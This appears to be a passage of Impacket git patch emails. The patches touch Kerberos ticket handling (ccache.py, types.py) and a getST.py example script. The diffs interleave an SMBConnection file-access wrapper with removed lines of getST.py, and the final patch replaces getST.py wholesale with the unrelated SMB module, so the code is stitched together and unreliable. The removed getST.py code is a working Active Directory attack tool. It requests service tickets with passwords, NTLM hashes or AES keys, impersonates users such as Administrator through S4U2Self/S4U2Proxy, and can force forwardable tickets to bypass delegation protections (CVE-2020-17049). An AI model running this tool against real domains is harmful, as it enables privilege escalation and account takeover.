impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0, + oplockLevel=SMB2_OPLOCK_LEVEL_NONE, createContexts=None): + """ + opens a remote file + + :param HANDLE treeId: a valid handle for the share where the file is to be opened + :param string pathName: the path name to open + :param int desiredAccess: The level of access that is required, as specified in https://msdn.microsoft.com/en-us/library/cc246503.aspx + :param int shareMode: Specifies the sharing mode for the open. + :param int creationOption: Specifies the options to be applied when creating or opening the file. + :param int creationDisposition: Defines the action the server MUST take if the file that is specified in the name + field already exists. + :param int fileAttributes: This field MUST be a combination of the values specified in [MS-FSCC] section 2.6, and MUST NOT include any values other than those specified in that section. + :param int impersonationLevel: This field specifies the impersonation level requested by the application that is issuing the create request. + :param int securityFlags: This field MUST NOT be used and MUST be reserved. The client MUST set this to 0, and the server MUST ignore it. + :param int oplockLevel: The requested oplock level + :param createContexts: A variable-length attribute that is sent with an SMB2 CREATE Request or SMB2 CREATE Response that either gives extra information about how the create will be processed, or returns extra information about how the create was processed. + + :return: a valid file descriptor + :raise SessionError: if error + """ + + if self.getDialect() == smb.SMB_DIALECT: + _, flags2 = self._SMBConnection.get_flags() + + pathName = pathName.replace('/', '\\') + packetPathName = pathName.encode('utf-16le') if flags2 & smb.SMB.FLAGS2_UNICODE else pathName + + ntCreate = smb.SMBCommand(smb.SMB.SMB_COM_NT_CREATE_ANDX) + ntCreate['Parameters'] = smb.SMBNtCreateAndX_Parameters() + ntCreate['Data'] = smb.SMBNtCreateAndX_Data(flags=flags2) + ntCreate['Parameters']['FileNameLength']= len(packetPathName) + ntCreate['Parameters']['AccessMask'] = desiredAccess + ntCreate['Parameters']['FileAttributes']= fileAttributes + ntCreate['Parameters']['ShareAccess'] = shareMode + ntCreate['Parameters']['Disposition'] = creationDisposition + ntCreate['Parameters']['CreateOptions'] = creationOption + ntCreate['Parameters']['Impersonation'] = impersonationLevel + ntCreate['Parameters']['SecurityFlags'] = securityFlags + ntCreate['Parameters']['CreateFlags'] = 0x16 + ntCreate['Data']['FileName'] = packetPathName + + if flags2 & smb.SMB.FLAGS2_UNICODE: + ntCreate['Data']['Pad'] = 0x0 + + if createContexts is not None: + LOG.error("CreateContexts not supported in SMB1") - clientName = Principal() - clientName.from_asn1(decodedTGT, 'crealm', 'cname') + try: + return self._SMBConnection.nt_create_andx(treeId, pathName, cmd = ntCreate) + except (smb.SessionError, smb3.SessionError) as e: + raise SessionError(e.get_error_code(), e.get_error_packet()) + else: + try: + return self._SMBConnection.create(treeId, pathName, desiredAccess, shareMode, creationOption, + creationDisposition, fileAttributes, impersonationLevel, + securityFlags, oplockLevel, createContexts) + except (smb.SessionError, smb3.SessionError) as e: + raise SessionError(e.get_error_code(), e.get_error_packet()) + + def writeFile(self, treeId, fileId, data, offset=0): + """ + writes data to a file + + :param HANDLE treeId: a valid handle for the share where the file is to be written + :param HANDLE fileId: a valid handle for the file + :param string data: buffer with the data to write + :param integer offset: offset where to start writing the data + + :return: amount of bytes written + :raise SessionError: if error + """ + try: + return self._SMBConnection.writeFile(treeId, fileId, data, offset) + except (smb.SessionError, smb3.SessionError) as e: + raise SessionError(e.get_error_code(), e.get_error_packet()) + + def readFile(self, treeId, fileId, offset = 0, bytesToRead = None, singleCall = True): + """ + reads data from a file + + :param HANDLE treeId: a valid handle for the share where the file is to be read + :param HANDLE fileId: a valid handle for the file to be read + :param integer offset: offset where to start reading the data + :param integer bytesToRead: amount of bytes to attempt reading. If None, it will attempt to read Dialect['MaxBufferSize'] bytes. + :param boolean singleCall: If True it won't attempt to read all bytesToRead. It will only make a single read call + + :return: the data read. Length of data read is not always bytesToRead + :raise SessionError: if error + """ + finished = False + data = b'' + maxReadSize = self._SMBConnection.getIOCapabilities()['MaxReadSize'] + if bytesToRead is None: + bytesToRead = maxReadSize + remainingBytesToRead = bytesToRead + while not finished: + if remainingBytesToRead > maxReadSize: + toRead = maxReadSize + else: + toRead = remainingBytesToRead + try: + bytesRead = self._SMBConnection.read_andx(treeId, fileId, offset, toRead) + except (smb.SessionError, smb3.SessionError) as e: + if e.get_error_code() == nt_errors.STATUS_END_OF_FILE: + toRead = b'' + break + else: + raise SessionError(e.get_error_code(), e.get_error_packet()) + + data += bytesRead + if len(data) >= bytesToRead: + finished = True + elif len(bytesRead) == 0: + # End of the file achieved. + finished = True + elif singleCall is True: + finished = True + else: + offset += len(bytesRead) + remainingBytesToRead -= len(bytesRead) - seq_set(authenticator, 'cname', clientName.components_to_asn1) + return data - now = datetime.datetime.utcnow() - authenticator['cusec'] = now.microsecond - authenticator['ctime'] = KerberosTime.to_asn1(now) + def closeFile(self, treeId, fileId): + """ + closes a file handle - if logging.getLogger().level == logging.DEBUG: - logging.debug('AUTHENTICATOR') - print(authenticator.prettyPrint()) - print('\n') + :param HANDLE treeId: a valid handle for the share where the file is to be opened + :param HANDLE fileId: a valid handle for the file/directory to be closed - encodedAuthenticator = encoder.encode(authenticator) + :return: None + :raise SessionError: if error + """ + try: + return self._SMBConnection.close(treeId, fileId) + except (smb.SessionError, smb3.SessionError) as e: + raise SessionError(e.get_error_code(), e.get_error_packet()) - # Key Usage 7 - # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes - # TGS authenticator subkey), encrypted with the TGS session - # key (Section 5.5.1) - encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) + def deleteFile(self, shareName, pathName): + """ + removes a file - apReq['authenticator'] = noValue - apReq['authenticator']['etype'] = cipher.enctype - apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator + :param string shareName: a valid name for the share where the file is to be deleted + :param string pathName: the path name to remove - encodedApReq = encoder.encode(apReq) + :return: None + :raise SessionError: if error + """ + try: + return self._SMBConnection.remove(shareName, pathName) + except (smb.SessionError, smb3.SessionError) as e: + raise SessionError(e.get_error_code(), e.get_error_packet()) - tgsReq = TGS_REQ() + def queryInfo(self, treeId, fileId): + """ + queries basic information about an opened file/directory - tgsReq['pvno'] = 5 - tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) - - tgsReq['padata'] = noValue - tgsReq['padata'][0] = noValue - tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) - tgsReq['padata'][0]['padata-value'] = encodedApReq - - # In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service - # requests a service ticket to itself on behalf of a user. The user is - # identified to the KDC by the user's name and realm. - clientName = Principal(self.__options.impersonate, type=constants.PrincipalNameType.NT_PRINCIPAL.value) - - S4UByteArray = struct.pack('= 52: + # now send an appropriate sized buffer + try: + snapshotData = SRV_SNAPSHOT_ARRAY(self._SMBConnection.ioctl(tid, fid, FSCTL_SRV_ENUMERATE_SNAPSHOTS, + flags=SMB2_0_IOCTL_IS_FSCTL, maxOutputResponse=snapshotData['SnapShotArraySize']+12)) + except (smb.SessionError, smb3.SessionError) as e: + self.closeFile(tid, fid) + raise SessionError(e.get_error_code(), e.get_error_packet()) + + self.closeFile(tid, fid) + return list(filter(None, snapshotData['SnapShots'].decode('utf16').split('\x00'))) + + def createMountPoint(self, tid, path, target): + """ + creates a mount point at an existing directory + + :param int tid: tree id of current connection + :param string path: directory at which to create mount point (must already exist) + :param string target: target address of mount point + + :raise SessionError: if error + """ + + # Verify we're under SMB2+ session + if self.getDialect() not in [SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30]: + raise SessionError(error = nt_errors.STATUS_NOT_SUPPORTED) + + fid = self.openFile(tid, path, GENERIC_READ | GENERIC_WRITE, + creationOption=FILE_OPEN_REPARSE_POINT) + + if target.startswith("\\"): + fixed_name = target.encode('utf-16le') + else: + fixed_name = ("\\??\\" + target).encode('utf-16le') + + name = target.encode('utf-16le') + + reparseData = MOUNT_POINT_REPARSE_DATA_STRUCTURE() + + reparseData['PathBuffer'] = fixed_name + b"\x00\x00" + name + b"\x00\x00" + reparseData['SubstituteNameLength'] = len(fixed_name) + reparseData['PrintNameOffset'] = len(fixed_name) + 2 + reparseData['PrintNameLength'] = len(name) + + self._SMBConnection.ioctl(tid, fid, FSCTL_SET_REPARSE_POINT, flags=SMB2_0_IOCTL_IS_FSCTL, + inputBlob=reparseData) + + self.closeFile(tid, fid) + + def removeMountPoint(self, tid, path): + """ + removes a mount point without deleting the underlying directory + + :param int tid: tree id of current connection + :param string path: path to mount point to remove + + :raise SessionError: if error + """ + + # Verify we're under SMB2+ session + if self.getDialect() not in [SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30]: + raise SessionError(error = nt_errors.STATUS_NOT_SUPPORTED) + + fid = self.openFile(tid, path, GENERIC_READ | GENERIC_WRITE, + creationOption=FILE_OPEN_REPARSE_POINT) + + reparseData = MOUNT_POINT_REPARSE_GUID_DATA_STRUCTURE() + + reparseData['DataBuffer'] = b"" + + try: + self._SMBConnection.ioctl(tid, fid, FSCTL_DELETE_REPARSE_POINT, flags=SMB2_0_IOCTL_IS_FSCTL, + inputBlob=reparseData) + except (smb.SessionError, smb3.SessionError) as e: + self.closeFile(tid, fid) + raise SessionError(e.get_error_code(), e.get_error_packet()) + + self.closeFile(tid, fid) + + def rename(self, shareName, oldPath, newPath): + """ + renames a file/directory + + :param string shareName: name for the share where the files/directories are + :param string oldPath: the old path name or the directory/file to rename + :param string newPath: the new path name or the directory/file to rename + + :return: True + :raise SessionError: if error + """ + + try: + return self._SMBConnection.rename(shareName, oldPath, newPath) + except (smb.SessionError, smb3.SessionError) as e: + raise SessionError(e.get_error_code(), e.get_error_packet()) + + def reconnect(self): + """ + reconnects the SMB object based on the original options and credentials used. Only exception is that + manualNegotiate will not be honored. + Not only the connection will be created but also a login attempt using the original credentials and + method (Kerberos, PtH, etc) + + :return: True + :raise SessionError: if error + """ + userName, password, domain, lmhash, nthash, aesKey, TGT, TGS = self.getCredentials() + self.negotiateSession(self._preferredDialect) + if self._doKerberos is True: + self.kerberosLogin(userName, password, domain, lmhash, nthash, aesKey, self._kdcHost, TGT, TGS, self._useCache) + else: + self.login(userName, password, domain, lmhash, nthash, self._ntlmFallback) + + return True + + def setTimeout(self, timeout): + try: + return self._SMBConnection.set_timeout(timeout) + except (smb.SessionError, smb3.SessionError) as e: + raise SessionError(e.get_error_code(), e.get_error_packet()) + + def getSessionKey(self): + if self.getDialect() == smb.SMB_DIALECT: + return self._SMBConnection.get_session_key() + else: + return self._SMBConnection.getSessionKey() + + def setSessionKey(self, key): + if self.getDialect() == smb.SMB_DIALECT: + return self._SMBConnection.set_session_key(key) + else: + return self._SMBConnection.setSessionKey(key) + + def setHostnameValidation(self, validate, accept_empty, hostname): + return self._SMBConnection.set_hostname_validation(validate, accept_empty, hostname) + + def close(self): + """ + logs off and closes the underlying _NetBIOSSession() + + :return: None + """ + try: + self.logoff() except: - # No cache present pass + self._SMBConnection.close_session() - if tgt is None: - # Still no TGT - userName = Principal(self.__user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) - logging.info('Getting TGT for user') - tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, - unhexlify(self.__lmhash), unhexlify(self.__nthash), - self.__aesKey, - self.__kdcHost) - - # Ok, we have valid TGT, let's try to get a service ticket - if self.__options.impersonate is None: - # Normal TGS interaction - logging.info('Getting ST for user') - serverName = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value) - tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, self.__kdcHost, tgt, cipher, sessionKey) - self.__saveFileName = self.__user + +class SessionError(Exception): + """ + This is the exception every client should catch regardless of the underlying + SMB version used. We'll take care of that. NETBIOS exceptions are NOT included, + since all SMB versions share the same NETBIOS instances. + """ + def __init__( self, error = 0, packet=0): + Exception.__init__(self) + self.error = error + self.packet = packet + + def getErrorCode( self ): + return self.error + + def getErrorPacket( self ): + return self.packet + + def getErrorString( self ): + return nt_errors.ERROR_MESSAGES[self.error] + + def __str__( self ): + if self.error in nt_errors.ERROR_MESSAGES: + return 'SMB SessionError: %s(%s)' % (nt_errors.ERROR_MESSAGES[self.error]) else: - # Here's the rock'n'roll - try: - logging.info('Impersonating %s' % self.__options.impersonate) - # Editing below to pass hashes for decryption - if self.__additional_ticket is not None: - tgs, cipher, oldSessionKey, sessionKey = self.doS4U2ProxyWithAdditionalTicket(tgt, cipher, oldSessionKey, sessionKey, unhexlify(self.__nthash), self.__aesKey, - self.__kdcHost, self.__additional_ticket) - else: - tgs, cipher, oldSessionKey, sessionKey = self.doS4U(tgt, cipher, oldSessionKey, sessionKey, unhexlify(self.__nthash), self.__aesKey, self.__kdcHost, options.s4u2self, options.alt_service) - except Exception as e: - logging.debug("Exception", exc_info=True) - logging.error(str(e)) - if str(e).find('KDC_ERR_S_PRINCIPAL_UNKNOWN') >= 0: - logging.error('Probably user %s does not have constrained delegation permisions or impersonated user does not exist' % self.__user) - if str(e).find('KDC_ERR_BADOPTION') >= 0: - logging.error('Probably SPN is not allowed to delegate by user %s or initial TGT not forwardable' % self.__user) - - return - self.__saveFileName = self.__options.impersonate - - self.saveTicket(tgs, oldSessionKey, options.alt_service) - - -if __name__ == '__main__': - print(version.BANNER) - - parser = argparse.ArgumentParser(add_help=True, description="Given a password, hash or aesKey, it will request a " - "Service Ticket and save it as ccache") - parser.add_argument('identity', action='store', help='[domain/]username[:password]') - parser.add_argument('-spn', action="store", required=True, help='SPN (service/server) of the target service the ' - 'service ticket will' ' be generated for') - parser.add_argument('-impersonate', action="store", help='target username that will be impersonated (thru S4U2Self)' - ' for quering the ST. Keep in mind this will only work if ' - 'the identity provided in this scripts is allowed for ' - 'delegation to the SPN specified') - parser.add_argument('-alt-service', action="store", help='change the service ticket\'s sname') - parser.add_argument('-s4u2self', action="store_true", help='only do s4u2self request') - parser.add_argument('-additional-ticket', action='store', metavar='ticket.ccache', help='include a forwardable service ticket in a S4U2Proxy request for RBCD + KCD Kerberos only') - parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') - parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') - parser.add_argument('-force-forwardable', action='store_true', help='Force the service ticket obtained through ' - 'S4U2Self to be forwardable. For best results, the -hashes and -aesKey values for the ' - 'specified -identity should be provided. This allows impresonation of protected users ' - 'and bypass of "Kerberos-only" constrained delegation restrictions. See CVE-2020-17049') - - group = parser.add_argument_group('authentication') - - group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') - group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') - group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' - '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' - 'ones specified in the command line') - group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication ' - '(128 or 256 bits)') - group.add_argument('-dc-ip', action='store', metavar="ip address", help='IP Address of the domain controller. If ' - 'ommited it use the domain part (FQDN) specified in the target parameter') - - if len(sys.argv) == 1: - parser.print_help() - print("\nExamples: ") - print("\t./getST.py -spn cifs/contoso-dc -hashes lm:nt contoso.com/user\n") - print("\tit will use the lm:nt hashes for authentication. If you don't specify them, a password will be asked") - sys.exit(1) - - options = parser.parse_args() - - # Init the example's logger theme - logger.init(options.ts) - - if options.debug is True: - logging.getLogger().setLevel(logging.DEBUG) - # Print the Library's installation path - logging.debug(version.getInstallationPath()) - else: - logging.getLogger().setLevel(logging.INFO) - if options.alt_service != None and len(options.alt_service.split('/')) != 2: - logging.critical('alt-service should be specified as service/host format') - sys.exit(1) - domain, username, password = parse_credentials(options.identity) - - try: - if domain is None: - logging.critical('Domain should be specified!') - sys.exit(1) - - if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: - from getpass import getpass - - password = getpass("Password:") - - if options.aesKey is not None: - options.k = True - - executer = GETST(username, password, domain, options) - executer.run() - except Exception as e: - if logging.getLogger().level == logging.DEBUG: - import traceback - - traceback.print_exc() - print(str(e)) + return 'SMB SessionError: 0x%x' % self.error From c925ff8cd882b85d1d02e60736b46bbe096e4c3f Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Sat, 19 Feb 2022 23:00:03 +0800 Subject: [PATCH 044/163] Update ccache.py --- impacket/krb5/ccache.py | 8 ++------ 1 file changed, 2 insertions(+), 6 deletions(-) diff --git a/impacket/krb5/ccache.py b/impacket/krb5/ccache.py index 94e7e0f61..011717210 100644 --- a/impacket/krb5/ccache.py +++ b/impacket/krb5/ccache.py @@ -455,7 +455,7 @@ def fromTGT(self, tgt, oldSessionKey, sessionKey): credential.secondTicket['length'] = 0 self.credentials.append(credential) - def fromTGS(self, tgs, oldSessionKey, sessionKey, alt_service=None): + def fromTGS(self, tgs, oldSessionKey, sessionKey): self.headers = [] header = Header() header['tag'] = 1 @@ -484,7 +484,7 @@ def fromTGS(self, tgs, oldSessionKey, sessionKey, alt_service=None): credential = Credential() server = types.Principal() - server.from_asn1(encTGSRepPart, 'srealm', 'sname', alt_service) + server.from_asn1(encTGSRepPart, 'srealm', 'sname') tmpServer = Principal() tmpServer.fromPrincipal(server) @@ -511,10 +511,6 @@ def fromTGS(self, tgs, oldSessionKey, sessionKey, alt_service=None): credential['num_address'] = 0 credential.ticket = CountedOctetString() - if alt_service != None: - decodedTGS['ticket']['sname']['name-type'] = 0 - decodedTGS['ticket']['sname']['name-string'][0] = alt_service.split('/')[0] - decodedTGS['ticket']['sname']['name-string'][1] = alt_service.split('/')[1] credential.ticket['data'] = encoder.encode(decodedTGS['ticket'].clone(tagSet=Ticket.tagSet, cloneValueFlag=True)) credential.ticket['length'] = len(credential.ticket['data']) credential.secondTicket = CountedOctetString() From dc4cb90f2936018702c5a3d3cde60f7b48652c1e Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Sat, 19 Feb 2022 23:00:22 +0800 Subject: [PATCH 045/163] Update types.py --- impacket/krb5/types.py | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/impacket/krb5/types.py b/impacket/krb5/types.py index ae5be3454..d6a6cbc30 100644 --- a/impacket/krb5/types.py +++ b/impacket/krb5/types.py @@ -137,14 +137,12 @@ def __repr__(self): return "Principal((" + repr(self.components) + ", " + \ repr(self.realm) + "), t=" + str(self.type) + ")" - def from_asn1(self, data, realm_component, name_component, alt_service=None): + def from_asn1(self, data, realm_component, name_component): name = data.getComponentByName(name_component) self.type = constants.PrincipalNameType( name.getComponentByName('name-type')).value self.components = [ str(c) for c in name.getComponentByName('name-string')] - if name_component == "sname" and alt_service!=None: - self.components = alt_service.split('/') self.realm = str(data.getComponentByName(realm_component)) return self From fea9812924b83b990ba92484c01334b27437600a Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Sat, 19 Feb 2022 23:01:09 +0800 Subject: [PATCH 046/163] Update getST.py --- examples/getST.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/examples/getST.py b/examples/getST.py index eebfe7ac8..6922fc97c 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -1,6 +1,6 @@ # Impacket - Collection of Python classes for working with network protocols. # -# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file From 8cfd8e8c37dd3b44a9030efa59a253776d281e1c Mon Sep 17 00:00:00 2001 From: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Date: Sat, 19 Feb 2022 23:02:28 +0800 Subject: [PATCH 047/163] Update getST.py --- examples/getST.py | 1703 ++++++++++++++++++++------------------------- 1 file changed, 738 insertions(+), 965 deletions(-) diff --git a/examples/getST.py b/examples/getST.py index 6922fc97c..9908123ed 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -1,3 +1,4 @@ +#!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # # SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. @@ -7,1023 +8,795 @@ # for more information. # # Description: -# Wrapper class for SMB1/2/3 so it's transparent for the client. -# You can still play with the low level methods (version dependent) -# by calling getSMBServer() +# Given a password, hash, aesKey or TGT in ccache, it will request a Service Ticket and save it as ccache +# If the account has constrained delegation (with protocol transition) privileges you will be able to use +# the -impersonate switch to request the ticket on behalf other user (it will use S4U2Self/S4U2Proxy to +# request the ticket.) # -# Author: Alberto Solino (@agsolino) +# Similar feature has been implemented already by Benjamin Delphi (@gentilkiwi) in Kekeo (s4u) +# +# Examples: +# ./getST.py -hashes lm:nt -spn cifs/contoso-dc contoso.com/user +# or +# If you have tickets cached (run klist to verify) the script will use them +# ./getST.py -k -spn cifs/contoso-dc contoso.com/user +# Be sure tho, that the cached TGT has the forwardable flag set (klist -f). getTGT.py will ask forwardable tickets +# by default. +# +# Also, if the account is configured with constrained delegation (with protocol transition) you can request +# service tickets for other users, assuming the target SPN is allowed for delegation: +# ./getST.py -k -impersonate Administrator -spn cifs/contoso-dc contoso.com/user +# +# The output of this script will be a service ticket for the Administrator user. +# +# Once you have the ccache file, set it in the KRB5CCNAME variable and use it for fun and profit. +# +# Author: +# Alberto Solino (@agsolino) # -import ntpath -import socket - -from impacket import smb, smb3, nmb, nt_errors, LOG -from impacket.ntlm import compute_lmhash, compute_nthash -from impacket.smb3structs import SMB2Packet, SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30, GENERIC_ALL, FILE_SHARE_READ, \ - FILE_SHARE_WRITE, FILE_SHARE_DELETE, FILE_NON_DIRECTORY_FILE, FILE_OVERWRITE_IF, FILE_ATTRIBUTE_NORMAL, \ - SMB2_IL_IMPERSONATION, SMB2_OPLOCK_LEVEL_NONE, FILE_READ_DATA , FILE_WRITE_DATA, FILE_OPEN, GENERIC_READ, GENERIC_WRITE, \ - FILE_OPEN_REPARSE_POINT, MOUNT_POINT_REPARSE_DATA_STRUCTURE, FSCTL_SET_REPARSE_POINT, SMB2_0_IOCTL_IS_FSCTL, \ - MOUNT_POINT_REPARSE_GUID_DATA_STRUCTURE, FSCTL_DELETE_REPARSE_POINT, FSCTL_SRV_ENUMERATE_SNAPSHOTS, SRV_SNAPSHOT_ARRAY, \ - FILE_SYNCHRONOUS_IO_NONALERT, FILE_READ_EA, FILE_READ_ATTRIBUTES, READ_CONTROL, SYNCHRONIZE, SMB2_DIALECT_311 - - -# So the user doesn't need to import smb, the smb3 are already in here -SMB_DIALECT = smb.SMB_DIALECT - -class SMBConnection: - """ - SMBConnection class - - :param string remoteName: name of the remote host, can be its NETBIOS name, IP or *\\*SMBSERVER*. If the later, - and port is 139, the library will try to get the target's server name. - :param string remoteHost: target server's remote address (IPv4, IPv6) or FQDN - :param string/optional myName: client's NETBIOS name - :param integer/optional sess_port: target port to connect - :param integer/optional timeout: timeout in seconds when receiving packets - :param optional preferredDialect: the dialect desired to talk with the target server. If not specified the highest - one available will be used - :param optional boolean manualNegotiate: the user manually performs SMB_COM_NEGOTIATE - - :return: a SMBConnection instance, if not raises a SessionError exception - """ - - def __init__(self, remoteName='', remoteHost='', myName=None, sess_port=nmb.SMB_SESSION_PORT, timeout=60, preferredDialect=None, - existingConnection=None, manualNegotiate=False): - - self._SMBConnection = 0 - self._dialect = '' - self._nmbSession = 0 - self._sess_port = sess_port - self._myName = myName - self._remoteHost = remoteHost - self._remoteName = remoteName - self._timeout = timeout - self._preferredDialect = preferredDialect - self._existingConnection = existingConnection - self._manualNegotiate = manualNegotiate - self._doKerberos = False - self._kdcHost = None - self._useCache = True - self._ntlmFallback = True - - if existingConnection is not None: - # Existing Connection must be a smb or smb3 instance - assert ( isinstance(existingConnection,smb.SMB) or isinstance(existingConnection, smb3.SMB3)) - self._SMBConnection = existingConnection - self._preferredDialect = self._SMBConnection.getDialect() - self._doKerberos = self._SMBConnection.getKerberos() - return - - ##preferredDialect = smb.SMB_DIALECT - - if manualNegotiate is False: - self.negotiateSession(preferredDialect) - - def negotiateSession(self, preferredDialect=None, - flags1=smb.SMB.FLAGS1_PATHCASELESS | smb.SMB.FLAGS1_CANONICALIZED_PATHS, - flags2=smb.SMB.FLAGS2_EXTENDED_SECURITY | smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES, - negoData='\x02NT LM 0.12\x00\x02SMB 2.002\x00\x02SMB 2.???\x00'): - """ - Perform protocol negotiation - - :param string preferredDialect: the dialect desired to talk with the target server. If None is specified the highest one available will be used - :param string flags1: the SMB FLAGS capabilities - :param string flags2: the SMB FLAGS2 capabilities - :param string negoData: data to be sent as part of the nego handshake - - :return: True - :raise SessionError: if error - """ - - # If port 445 and the name sent is *SMBSERVER we're setting the name to the IP. This is to help some old - # applications still believing - # *SMSBSERVER will work against modern OSes. If port is NETBIOS_SESSION_PORT the user better know about i - # *SMBSERVER's limitations - if self._sess_port == nmb.SMB_SESSION_PORT and self._remoteName == '*SMBSERVER': - self._remoteName = self._remoteHost - elif self._sess_port == nmb.NETBIOS_SESSION_PORT and self._remoteName == '*SMBSERVER': - # If remote name is *SMBSERVER let's try to query its name.. if can't be guessed, continue and hope for the best - nb = nmb.NetBIOS() - try: - res = nb.getnetbiosname(self._remoteHost) - except: - pass - else: - self._remoteName = res - - if self._sess_port == nmb.NETBIOS_SESSION_PORT: - negoData = '\x02NT LM 0.12\x00\x02SMB 2.002\x00' - - hostType = nmb.TYPE_SERVER - if preferredDialect is None: - # If no preferredDialect sent, we try the highest available one. - packet = self.negotiateSessionWildcard(self._myName, self._remoteName, self._remoteHost, self._sess_port, - self._timeout, True, flags1=flags1, flags2=flags2, data=negoData) - if packet[0:1] == b'\xfe': - # Answer is SMB2 packet - self._SMBConnection = smb3.SMB3(self._remoteName, self._remoteHost, self._myName, hostType, - self._sess_port, self._timeout, session=self._nmbSession, - negSessionResponse=SMB2Packet(packet)) - else: - # Answer is SMB packet, sticking to SMBv1 - self._SMBConnection = smb.SMB(self._remoteName, self._remoteHost, self._myName, hostType, - self._sess_port, self._timeout, session=self._nmbSession, - negPacket=packet) - else: - if preferredDialect == smb.SMB_DIALECT: - self._SMBConnection = smb.SMB(self._remoteName, self._remoteHost, self._myName, hostType, - self._sess_port, self._timeout) - elif preferredDialect in [SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30, SMB2_DIALECT_311]: - self._SMBConnection = smb3.SMB3(self._remoteName, self._remoteHost, self._myName, hostType, - self._sess_port, self._timeout, preferredDialect=preferredDialect) - else: - raise Exception("Unknown dialect %s") - - # propagate flags to the smb sub-object, except for Unicode (if server supports) - # does not affect smb3 objects - if isinstance(self._SMBConnection, smb.SMB): - if self._SMBConnection.get_flags()[1] & smb.SMB.FLAGS2_UNICODE: - flags2 |= smb.SMB.FLAGS2_UNICODE - self._SMBConnection.set_flags(flags1=flags1, flags2=flags2) - - return True - - def negotiateSessionWildcard(self, myName, remoteName, remoteHost, sess_port, timeout, extended_security=True, flags1=0, - flags2=0, data=None): - # Here we follow [MS-SMB2] negotiation handshake trying to understand what dialects - # (including SMB1) is supported on the other end. - - if not myName: - myName = socket.gethostname() - i = myName.find('.') - if i > -1: - myName = myName[:i] - - tries = 0 - smbp = smb.NewSMBPacket() - smbp['Flags1'] = flags1 - # FLAGS2_UNICODE is required by some stacks to continue, regardless of subsequent support - smbp['Flags2'] = flags2 | smb.SMB.FLAGS2_UNICODE - resp = None - while tries < 2: - self._nmbSession = nmb.NetBIOSTCPSession(myName, remoteName, remoteHost, nmb.TYPE_SERVER, sess_port, - timeout) - - negSession = smb.SMBCommand(smb.SMB.SMB_COM_NEGOTIATE) - if extended_security is True: - smbp['Flags2'] |= smb.SMB.FLAGS2_EXTENDED_SECURITY - negSession['Data'] = data - smbp.addCommand(negSession) - self._nmbSession.send_packet(smbp.getData()) - - try: - resp = self._nmbSession.recv_packet(timeout) - break - except nmb.NetBIOSError: - # OSX Yosemite asks for more Flags. Let's give it a try and see what happens - smbp['Flags2'] |= smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_LONG_NAMES | smb.SMB.FLAGS2_UNICODE - smbp['Data'] = [] - - tries += 1 - - if resp is None: - # No luck, quitting - raise Exception('No answer!') - - return resp.get_trailer() - - - def getNMBServer(self): - return self._nmbSession - - def getSMBServer(self): - """ - returns the SMB/SMB3 instance being used. Useful for calling low level methods - """ - return self._SMBConnection - - def getDialect(self): - return self._SMBConnection.getDialect() - - def getServerName(self): - return self._SMBConnection.get_server_name() - - def getClientName(self): - return self._SMBConnection.get_client_name() - - def getRemoteHost(self): - return self._SMBConnection.get_remote_host() - - def getRemoteName(self): - return self._SMBConnection.get_remote_name() - - def setRemoteName(self, name): - return self._SMBConnection.set_remote_name(name) - - def getServerDomain(self): - return self._SMBConnection.get_server_domain() - - def getServerDNSDomainName(self): - return self._SMBConnection.get_server_dns_domain_name() - - def getServerDNSHostName(self): - return self._SMBConnection.get_server_dns_host_name() - - def getServerOS(self): - return self._SMBConnection.get_server_os() - - def getServerOSMajor(self): - return self._SMBConnection.get_server_os_major() - - def getServerOSMinor(self): - return self._SMBConnection.get_server_os_minor() - - def getServerOSBuild(self): - return self._SMBConnection.get_server_os_build() - - def doesSupportNTLMv2(self): - return self._SMBConnection.doesSupportNTLMv2() - - def isLoginRequired(self): - return self._SMBConnection.is_login_required() - - def isSigningRequired(self): - return self._SMBConnection.is_signing_required() - - def getCredentials(self): - return self._SMBConnection.getCredentials() - - def getIOCapabilities(self): - return self._SMBConnection.getIOCapabilities() - - def login(self, user, password, domain = '', lmhash = '', 